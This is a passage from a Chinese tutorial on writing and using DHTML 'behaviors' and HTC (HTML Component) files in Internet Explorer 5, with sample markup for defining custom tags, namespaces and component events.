　　通过以上的简单介绍，可以看出，我们很容易地在一个“行为”中同时组合了多种文字变化效果，通过简单的“样式”设置，任意地将它与页面元件相关连，体现了“行为”组件的优点和强大功能。一个“行为”组件，不仅能在一个页面内重复使用，也可供同一站点上的所有页面使用。试想一下，如果不使用“行为”来完成上述的效果，虽然可以在页面内调用一组预定的函数来完成同样的功能，但页面内每一个使用文字效果的元件都要附加四个鼠标事件，如果在多个页面内使用相同的效果，被调用的函数也需要在每一个页面内重复设置。相比之下，孰优孰劣是很明显的。所以，使用“行为”组件，可以制作出简洁、高效、通用和便于维护的页面。本文的举例只是为了说明“行为”组件的编写和使用过程，使读者对“行为”编程有一个概括的了解，并以此基础制作出自己所需要的“行为”组件，或直接引用满足个人需要的现成“行为”组件，因为“组件共享”的概念也是“行为”开发者的初衷。最后，愿本文能起到“抛砖引玉”的目的，使读者步入精彩的DHTML网页编程天地。

说明:

HTC是HTML component的缩写,

是IE5.0的主要扩展之一,

除了具备一般组件的可重用优点之外,

还具有易于开发使用等优点,

因为需要引入外部文件,这里就不举例了,宝库里有例子.

控件和组件

HTC提供了一个简单机制以在脚本中实现DHTML行为。一个HTC文件和HTML文件没有任何差别，并且以“.htc”为后缀，

可以使用HTC实现以下行为：

设定属性和方法。通过“PROPERTY”和“METHOD”元素定义

设置自定义事件。通过“EVENT”元素实现，用该元素的“fire()”方法释放事件，

通过“createEventObject()”方法设置事件环境。

访问所包含该HTC的的HTML页的DHTML对象模型，使用HTC的“element"对象，返回

一个附加行为的元素，使用该对象，HTC可以访问包含文挡及它的对象模型（属性、方法、事件）。

收取通知，使用”ATTACH“元素实现，浏览器不但通知HTC标准的DHTML事件，而且通知HTC两种特殊事件：oncontentready事件和ondocumentready事件。

定义标记和命名空间

HTC的基础是自定义标记

要为页面定义自定义标记，必须为该标记提供命名空间

要使用该标记必须在该标记前加上正确的XML命名空间前缀

例如:

定义一个新标记RIGHT的例子

<HEAD>

<STYLE>

@media all {

DOCJSRIGHT {text-align:right; width:100}

}

</STYLE>

</HEAD>

<BODY>

<DOCJS:RIGHT>

Read Doc JavaScript's columns, tips, tools, and tutorials

</DOCJS:RIGHT>

</BODY>

</HTML>

可以在单个HTML标记

中定义多个命名空间：

组件定义

组件的名字是由HTC文档里定义在第一行的XML命名空间决定的

该页不用调用其他的HTC话,就只有一个命名空间定义

实际上，HTML组件的定义就是自定义标签行为的定义

该行为包括一个属性和一个事件：

<HEAD>

<PUBLIC:COMPONENT tagName="MyTag">

<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>

</PUBLIC:COMPONENT>

<STYLE>//为组件定义样式表

.cssMyTag{

}

</STYLE>

function MyTagBehavior1(){} //为组件定义方法

</SCRIPT>

</HEAD>

<BODY onclick=MyTagBehavior1> //为组件定义响应事件

</BODY>

</HTML>

其中的oncontentready是在组件被调用者完全导入时触发

再看看fnInit()

function fnInit() {

document.body.innerHTML = element.value;//设定组件显示内容

document.body.className = "clsMyTag"; //设定显示样式表,

defaults.viewLink = document; //使本组件对其他文档可见

element.aProperty = element.value; //设置组件的属性值

}

组件的调用

<HEAD>

<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>

</HEAD>

<BODY>

<MyCom:MyTag></MyCom:MyTag>

</BODY>

</html>

57.如何把页面加入用户的收藏夹？

网页制作时的技巧

你可能感兴趣的:(网页制作时的技巧)